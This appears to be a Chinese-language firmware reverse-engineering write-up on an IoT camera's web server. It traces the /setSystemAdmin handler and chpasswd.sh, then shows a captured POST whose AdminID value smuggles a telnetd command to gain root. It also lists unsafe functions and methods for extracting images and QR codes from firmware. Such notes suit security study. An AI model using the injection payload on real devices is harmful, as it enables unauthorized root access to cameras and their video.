Binwalk 是一个专门用于固件分析的开源工具,从二进制文件(如嵌入式设备固件)中提取文件系统、解压缩数据、查找隐藏内容和固件的分析。
sudo apt install docker.io
sudo apt install git
git clone https://github.com/ReFirmLabs/binwalk
偏移 (offset) 为 0表示着固件从第 0 字节开始就是一个可识别的 SquashFS 文件系统,没有单独的 Bootloader 分区或其他分区被检测到,进去看是个嵌入式 Linux 根文件系统结构
没有看启动脚本 init.d,可能是放在其他目录或者修 BusyBox的开机流程将脚本放在只读分区、内置到特定二进制里?
strings bin/alphapd | grep -i “/setSystemAdmin”
结果是/setform/setSystemAdmin
/setform/setSystemAdmin 说明 alphapd 处理了该路径,要是AdminID 未经过滤,就能导致命令注入。
ind . -name “chpasswd.sh”
cat $(find . -name “chpasswd.sh”)
./sbin/chpasswd.sh
#!/bin/sh
#
# $Id: chpasswd.sh, v1.01 2015-03-24 steven
#
# usage: chpasswd.sh
#
user=`nvram_get 2860 AdminID`
pass=`nvram_get 2860 AdminPassword`
if [ "$user" == "" ]; then
echo "chpasswd: no user name"
exit 1
fi
echo "$user:$pass" > /tmp/tmpchpw
chpasswd < /tmp/tmpchpw
rm -f /tmp/tmpchpw
nvram_get 2860 AdminID 读取存储的 AdminID 变量。 nvram_get 2860 AdminPassword 读取 AdminPassword 变量。 echo “$user:$pass” > /tmp/tmpchpw 创建* /tmp/tmpchpw* 临时密码文件。 chpasswd < /tmp/tmpchpw *执行密码修改,直接影响 /etc/passwd*
攻击者可以通过 /setSystemAdmin 修改 AdminID 和 AdminPassword,然后触发 chpasswd.sh间接获得 root 访问权限。
strings bin/alphapd | grep -i "chpasswd"
chpasswd.sh被调用了,chpasswd.sh的逻辑在上面,AdminID 和 AdminPassword 直接影响 /etc/passwd,所以攻击者可以用 /setSystemAdmin 修改 AdminID 和 AdminPassword,并借此创建新用户和修改 root 密码。
strings bin/alphapd | grep -i "nvram"
nvram_bufget、nvram_bufset、nvram_commit 说明 alphapd 直接操作 nvram 存储,通过 /setSystemAdmin 修改 nvram 变量。比如 AdminID 可能被 nvram_bufset 存入 nvram,chpasswd.sh 再从 nvram_get 读取 AdminID,并写入* /etc/passwd*。
#!/bin/sh
# re-generate SSL Server Keys
cd /etc_ro
mkdir /usr/local
mkdir /usr/local/ssl
cp openssl.cnf /usr/local/ssl
openssl genrsa -out serverkey.pem 1024
openssl req -new -sha256 -x509 -keyout serverkey.pem -out servercert.pem -days 1825 -newkey rsa:1024 -nodes -subj "/C=TW/ST=Taiwan/L=Taipie/O=D-LINK/OU=DHPD Dept./CN=www.dlink.com"
#export SAN=DNS:127.0.0.1,DNS:Current's IP,DNS=DDNS Host Name
#openssl req -new -sha256 -x509 -extensions v3_req -keyout serverkey.pem -out servercert.pem -days 1825 -newkey rsa:1024 -nodes -subj "/C=TW/ST=Taiwan/L=Taipie/O=D-LINK/OU=DHPD Dept./CN=www.dlink.com"
#openssl x509 -text -in /etc_ro/servercert.pem
cd /
所有设备生成的 SSL证书共享都相同的信息,www.dlink.com (?)
openssl x509 -text -noout -in ./etc_ro/servercert.pem
www.dlink.com,确实所有设备可能共享相同的证书
strings bin/alphapd | grep -i "servercert.pem"
设备强制依赖* /etc_ro/servercert.pem* 作为 SSL 证书。
现在思路是servercert.pem 是否可以被替换,alphapd 如何处理 servercert.pem,如果 alphapd 有写入 servercert.pem *的逻辑,说明设备可能在某些情况下自动生成并覆盖 *servercert.pem,可以利用这一逻辑写入自定义证书。
mount | grep "/etc_ro"
看来ro是只读,不能直接替换证书。
objdump: can’t disassemble for architecture UNKNOWN!这是一个 MIPS 可执行文件,所以尝试用file bin/alphapd。
strings bin/alphapd | grep -A 5 -B 5 "servercert.pem"
分析 servercert.pem 在 alphapd 中的使用,alphapd 依赖* servercert.pem* 和 serverkey.pem,alphapd 尝试写入 servercert.pem,设备支持替换 HTTPS 证书?但是试了试找不到触发写入的方式。
find squashfs-root/ -type f -exec file {} + | grep "ELF"
提取所有 ELF 文件
ls -lah squashfs-root/etc_ro/web/
检查 Web 服务器目录
IP回连
8191 HTTP 170.421438 2.65.87.199 2.65.87.200 915 POST /setSystemAdmin HTTP/1.1 (application/x-www-form-urlencoded)
http.request.method == "POST"
看看可疑路径/setSystemAdmin
http.request.method == "POST" && http contains "setSystemAdmin"
POST /setSystemAdmin HTTP/1.1 Host: 2.65.87.200 Content-Length: 123
AdminID=atelnetd AdminPassword=12345
利用 AdminID 传入a\telnetd命令,成功在摄像头上启动 telnetd进程。
获取固件 解包→查找Web端的管理接口→分析二进制ELF→AdminID 传入 telnetd 命令→开启 Telnet,获取 root 权限
补充
固件逆向过程中,不安全的函数:
- system():直接执行 shell 命令
- popen():执行命令并返回输出流
- execve(), execl(), execlp(), execv(), execvp():执行二进制程序
- eval():执行动态代码,常用于 Web 端的 RCE。
char cmd[256];
sprintf(cmd, "ping %s", user_input);
system(cmd); // 用户可控输入,可能执行恶意命令
strings binary | grep -E "system|popen|exec"
搜索这些函数的交叉引用,检查参数是否直接来自 HTTP 请求或外部输入。
可能导致缓冲区溢出的函数
- strcpy():不检查目标缓冲区长度,易溢出
- strcat():字符串拼接时未检查长度,易溢出
- sprintf():格式化字符串未检查长度
- gets():读取用户输入时未检查缓冲区
- scanf()(使用 %s 读取字符串时未指定长度)
strings binary | grep -E "strcpy|sprintf|gets"
判断是否存在命令注入漏洞
- 检查输入源
- 来自 Web 界面(HTTP POST/GET 参数):
- /setSystemAdmin
- AdminID
- AdminPassword
- 来自 环境变量
- 来自 NVRAM 变量存储(nvram_get() 读取的值)
- 判断是否有输入过滤
- 是否使用 strstr() 过滤 ; & $( backticks)?
- 是否使用 escapeshellcmd()、escapeshellarg() 转义(PHP)?
- 是否直接拼接字符串形成命令?
使用 execve() 直接调用二进制,而不是 system()。
确认命令是否执行 Wireshark 监控 HTTP 请求是否触发 shell 命令 在固件中查找 /bin/sh、/bin/busybox 相关调用
strings binary | grep -E "/bin/sh|/bin/busybox"
流量分析
HTTP→设备管理、Web UI →命令注入、CSRF、API 攻击 Telnet→远程管理 →弱口令爆破、RCE SSH 远程管理→SSH →Key 窃取 FTP/TFTP→文件上传 →恶意固件上传、配置篡改 RTSP→视频流传输 →未授权视频访问
检测Bootloader 通常存储在 NOR Flash 或 NAND Flash 的前几个 KB 位置,可以确认设备的启动顺序、可以决定设备如何引导 Linux 内核、查找固件解密密钥。
strings firmware.bin | grep "bootcmd"
cu -l /dev/ttyUSB0 -s 115200
-s 115200的意思是设定波特率为 115200 bps ,Baud Rate指的是串口通信中每秒传输的信号单元数,在串口通信中的波特率必须匹配,否则会出现乱码或无法连接。
lot常见波特率:
- 9600:低速串口通信,常用于 Arduino、微控制器(MCU)
- 19200、38400:早期嵌入式设备
- 57600:一些老式调制解调器
- 115200:常用于 U-Boot、Linux 串口、ESP8266/ESP32 等
- 230400、460800:高带宽调试接口
- 921600:更高端的嵌入式系统或高速调试端口
↑不知道具体波特率的话,用 minicom 或 PuTTY 进行逐步测试/stty读取当前波特率/在 binwalk解析固件时搜索波特率
foremost提取出的图片分析思路
foremost 可以从固件或存储介质中恢复不同类型的文件,实战分析的时候从物联网固件中提取的图片其实能起到很大作用。登录界面截图可能会包含默认用户名/密码,扫码绑定设备的二维码,确认固件来源的厂商 Logo。
foremost -i firmware.bin -o extracted_files
ls extracted_files/jpg/
在一些便宜的设备可能会发现
login_background.jpg
default_password.png
admin_panel.jpg
现在几乎所有的家用智能设备会用二维码进行 Wi-Fi 绑定or账号登录
zbarimg extracted_files/png/qrcode.png
包含二维码的话zbarimg 会输出解码后的内容,例如:QR-Code: WIFI:T:WPA;S:MyWiFi;P:SuperSecretPass;;。 如果是设备的二维码绑定信息,可能解码出QR-Code: http://192.168.1.1/admin?token=qwq
表示管理 URL:http://192.168.1.1/admin 访问 Token:qwq
像摄像头or智能门铃有些会在固件中存储默认截图,因为需要设备启动或初始化测试,这些截图可能用于设备启动界面的背景图&设备调试日检查摄像头模组是否工作正常。摄像头在无法连接网络时,会缓存最近的摄像头截图以供调试,这些快照可能存储在 /var/log/ 或 /mnt/data/ 目录(一瞬绕过物理防护,,,),如果摄像头存储了出厂时的 Wi-Fi 连接信息会暴露设备的物理位置,直接到附近嗅探传输的视频数据x